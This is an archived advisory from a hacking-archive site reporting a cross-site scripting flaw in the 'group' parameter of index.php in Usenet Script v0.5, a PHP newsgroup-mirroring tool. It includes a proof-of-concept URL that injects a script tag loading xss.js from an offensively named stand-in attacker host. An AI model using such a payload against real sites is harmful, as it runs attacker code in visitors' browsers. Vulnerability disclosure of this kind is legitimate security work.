AOH :: HP Unsorted U :: B06-3308.HTM

Usenet script v0.5



Usenet Script v0.5
Usenet Script v0.5



Usenet Script v0.5

Homepage:
http://www.metalhead.ws/usenet

Description:

"Those scripts allow you to mirror a Newsgroup in an SQL database. The development database was Postgresql, but it uses dbx and should therefore be able to work with other database systems, too. Furthermore, a frontend is provided."

Affected files:

index.php

------------------------------------
XSS vuln via index.php on group var:

Data isnt properly sanatized before being generated.
http://www.example.com/index.php?group= src=http://www.youfucktard.com/xss.js> 

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.